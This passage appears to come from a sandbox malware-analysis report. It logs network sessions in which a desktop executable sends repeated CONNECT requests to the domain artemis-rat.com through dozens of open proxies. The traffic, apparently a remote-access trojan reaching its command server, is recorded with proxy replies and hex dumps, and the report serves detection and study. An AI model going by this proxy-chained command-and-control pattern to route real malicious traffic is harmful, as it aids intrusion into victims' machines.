Mar 11, 2024 03:30:38.278562069 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:38 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.5	50129	184.185.2.12	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.975692987 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.576721907 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.5	50157	68.1.210.163	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.983932972 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.5	50108	37.187.77.58	13412	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.989428043 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.5	50217	47.88.3.19	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.991018057 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.162166119 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.23.4 Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 33 2e 34 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.23.4</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.5	49995	110.93.227.28	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.995230913 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.692940950 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	50004	103.190.54.141	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.000951052 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.5	50122	116.203.28.43	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.005151033 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.322881937 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.5	50100	20.24.43.214	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.008583069 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.344680071 CET	319	IN	HTTP/1.1 403 Forbidden Server: squid Mime-Version: 1.0 Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html;charset=utf-8 Content-Length: 17 X-Squid-Error: ERR_ACCESS_DENIED 0 X-Cache: MISS from cdn-fintech.info X-Cache-Lookup: NONE from cdn-fintech.info:8123 Connection: keep-alive Data Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.5	50099	51.161.131.84	49202	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.008835077 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.5	50130	94.23.83.53	55806	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.023267984 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.701680899 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.5	50001	41.65.236.37	1981	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.028271914 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.889205933 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.217377901 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.967825890 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.311393976 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.717600107 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:59.108321905 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.5	50144	155.185.15.56	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.034203053 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.368597031 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.5	50214	142.44.194.14	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.037208080 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.258440971 CET	443	IN	HTTP/1.1 405 Method Not Allowed Date: Mon, 11 Mar 2024 02:30:38 GMT Server: Apache/2.4.57 (Unix) OpenSSL/1.1.1k Allow: HEAD,GET,POST,OPTIONS,TRACE Content-Length: 224 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 43 4f 4e 4e 45 43 54 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 66 6f 72 20 74 68 69 73 20 55 52 4c 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>405 Method Not Allowed</title></head><body><h1>Method Not Allowed</h1><p>The requested method CONNECT is not allowed for this URL.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.5	50116	94.177.106.178	2324	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.055336952 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.424308062 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.22.1 Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.22.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.5	50238	132.148.167.243	28040	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.057851076 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.5	50236	103.152.112.167	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.066387892 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.240416050 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.23.2 Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 33 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.23.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.5	50088	5.34.201.244	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.066994905 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:56.227560997 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.5	50230	38.162.25.44	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.071161985 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.485634089 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.5	50216	72.195.34.58	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.075004101 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.5	50269	104.22.14.48	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.082129002 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.236845016 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.5	50166	8.210.58.56	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.101937056 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.408253908 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.23.4 Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 33 2e 34 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.23.4</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.5	50186	54.223.158.88	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.112514973 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.435787916 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:38 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.5	49786	117.160.250.163	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.114576101 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.085854053 CET	221	IN	HTTP/1.1 403 Access Denied Date: Mon, 11 Mar 2024 02:30:38 GMT Connection: close Cache-Control: no-store Content-Type: text/html Content-Language: en Content-Length: 43 Data Raw: 59 6f 75 20 61 72 65 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 2e Data Ascii: You are not allowed to access the document.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.5	50253	38.162.29.125	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.129529953 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.539990902 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.5	50254	162.120.71.11	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.130083084 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.366755962 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.5	50290	104.20.235.179	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.134278059 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.288789034 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.5	50224	121.182.138.71	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.137259007 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

